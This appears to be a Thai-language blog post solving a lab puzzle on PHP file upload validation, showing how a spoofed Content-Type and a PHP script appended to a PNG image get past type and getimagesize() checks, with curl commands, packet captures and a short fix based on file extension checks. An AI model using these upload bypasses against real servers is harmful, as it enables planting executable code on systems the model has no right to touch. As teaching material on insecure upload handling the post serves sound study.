อาทิตย์หนึ่งผ่านไปจาก post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน
ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก <br /> เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้
POST /upload.php HTTP/1.1 Host: 192.168.1.100 User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://192.168.1.100/upload.html Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886 Content-Length: 390 -----------------------------194488808416516608941591502886 Content-Disposition: form-data; name="file"; filename="arrow.gif" Content-Type: image/gif GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;...... .`.."..fs...2.(.[..Lh....a~.fX..$..; -----------------------------194488808416516608941591502886-- HTTP/1.1 200 OK Date: Sat, 04 Dec 2010 05:32:41 GMT Server: Apache Content-Length: 120 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Upload: arrow.gif Type: image/gif Size: 0.166015625 Kb Temp file: C:\WINDOWS\Temp\php19D.tmp Stored in: upload/arrow.gif
ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้
หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า $_FILES["file"]["type"] นั้นเป็นชนิดที่เราอนุญาติหรือไม่
ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)
$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php Invalid file $โดยจะมี HTTP request และ response เป็น (จาก Wireshark)
POST /upload.php HTTP/1.0 User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15 Host: 192.168.1.100 Accept: */* Content-Length: 354 Content-Type: multipart/form-data; boundary=----------------------------f627444651d8 ------------------------------f627444651d8 Content-Disposition: form-data; name="file"; filename="arrow.gif" Content-Type: foo/bar GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;...... .`.."..fs...2.(.[..Lh....a~.fX..$..; ------------------------------f627444651d8-- HTTP/1.1 200 OK Date: Sat, 04 Dec 2010 06:04:21 GMT Server: Apache Content-Length: 13 Connection: close Content-Type: text/html Invalid file
จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า $_FILES["file"]["type"] นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์
เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้
$ cat info.php <?php phpinfo();
แล้ว upload file ด้วยคำสั่ง
$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php Upload: info.php Type: image/gif Size: 0.0166015625 Kb Temp file: C:\WINDOWS\Temp\php1A3.tmp Stored in: upload/info.php
เย้ ทำได้แล้วปัญหาที่ 1 :)
เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ
$info = getimagesize($_FILES["file"]["tmp_name"]); if ($info == FALSE) { echo "Invalid image file"; } else if ($info["mime"] != "image/png") { echo "Image is not PNG"; }
จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้
$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php Upload: info.php Type: image/png Size: 0.0166015625 Kb Temp file: C:\WINDOWS\Temp\php1AF.tmp Invalid image file.
จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S
เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย <?php และปิดด้วย ?> โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ
ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย getimagesize() นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง
$ ls -l ad.png info.php -rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png -rw-r--r-- 1 worawit worawit 17 2010-12-04 13:40 info.php $ cat ad.png info.php > mypng.php $ ls -l mypng.php -rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php $ file mypng.php mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced
คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี
และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว
$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php Upload: mypng.php Type: image/png Size: 0.64453125 Kb Temp file: C:\WINDOWS\Temp\php1B3.tmp Stored in: upload/mypng.php
pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code
คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง pathinfo() เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง
ชอบๆๆ ขอบคุณครับ อย่างเพิ่งลบนะครับอิอิ อยากไห้มีการสอน เรื่องเว็ปมากกว่านี้ครับ เพราะว่า ส่่วนไหญ่สอนแต่ hack client ไม่หนุก อยากไห้มีการ hack web กับ sever มากกว่านี้ครับ
ReplyDeleteขอบคุณสำหรับความรู้ ดีๆ ครับ
ReplyDelete